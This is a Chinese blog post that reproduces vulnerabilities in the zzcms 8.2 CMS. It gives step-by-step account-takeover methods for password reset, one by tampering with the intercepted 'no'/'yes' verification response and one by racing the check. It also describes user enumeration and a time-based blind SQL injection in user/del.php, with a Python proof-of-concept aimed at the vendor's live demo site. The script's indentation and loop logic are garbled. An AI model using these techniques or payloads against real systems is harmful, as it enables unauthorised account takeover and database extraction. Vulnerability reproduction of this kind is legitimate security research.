[漏洞复现]zzcms8.2#任意用户密码重置#del.php时间盲注#复现

00x0 引言

  早上起来,发现seebug更新了一批新的洞,

   发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~)

   环境:zzcms8.2(产品招商型)

     php-5.4.45

.    mysql-5.5.53

01x0 任意用户密码重置

  01x1 任意用户密码重置方式一

    话说,这个洞的标题应该是任意前台用户密码重置,后台管理员重置不了的,或许是我复现的问题.~~

    先注册个账号,然后首页点击找回密码.

    地址:http://localhost/one/getpassword.php

    

      这里还存在用户遍历,如果存在该用户,那么返回在前端页面的就是如上所述的正确的状态

      

 

       

      回到主题,输入验证码后点击下一步,进入下一个状态.

      

 

         

  不用点击获取验证码,随意输入任意数字,直接点击下一步,抓包

               

      获取响应包

  

  把no改为yes,然后forward,到这里你会发现前端页面没什么变化

  再看抓包工具,你会看到这个包

  

     这个明显就是验证码成功的包,直接forward.

输入新密码,直接重置.

重置成功

01x2 任意用户密码重置方式二

  这个,是最简单的,根本不用抓包.

  拿demo站做测试.

  

下一步,

会看到,这个,然后不用选择验证方式,不用点击获取验证码,随便输入任意数字,直接点击下一步.

一定快速输入,不然会发包后端会做验证,在显示

这样的红色警告字符之前点击下一步

直接跳转到修改密码处,

 

02x0 del.php 时间盲注

这个在freebuf被某个师傅发出来过,我这就做简单的分析

http://www.freebuf.com/vuls/161888.html

user/del.php 13行

 

这里两个post参数都是未做处理,传进来之后直接格式化了.

再到136行

 

直接带入查询了.贴上大牛的poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time

payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'    #匹配用的字符串
url = "http://demo.zzcms.net/user/del.php"
user = ''
for i in range(1, 2):
        for payload in payloads:    #遍历取出字符
                startTime = time.time()
                post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
                response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"}  )
if time.time() - startTime > 5:
                        user = payload
print 'user is:', user
break
print '\n[Done] current user is %s' % user

 

posted @ 2018-02-14 23:52  ch1st  阅读(838)  评论(0编辑  收藏  举报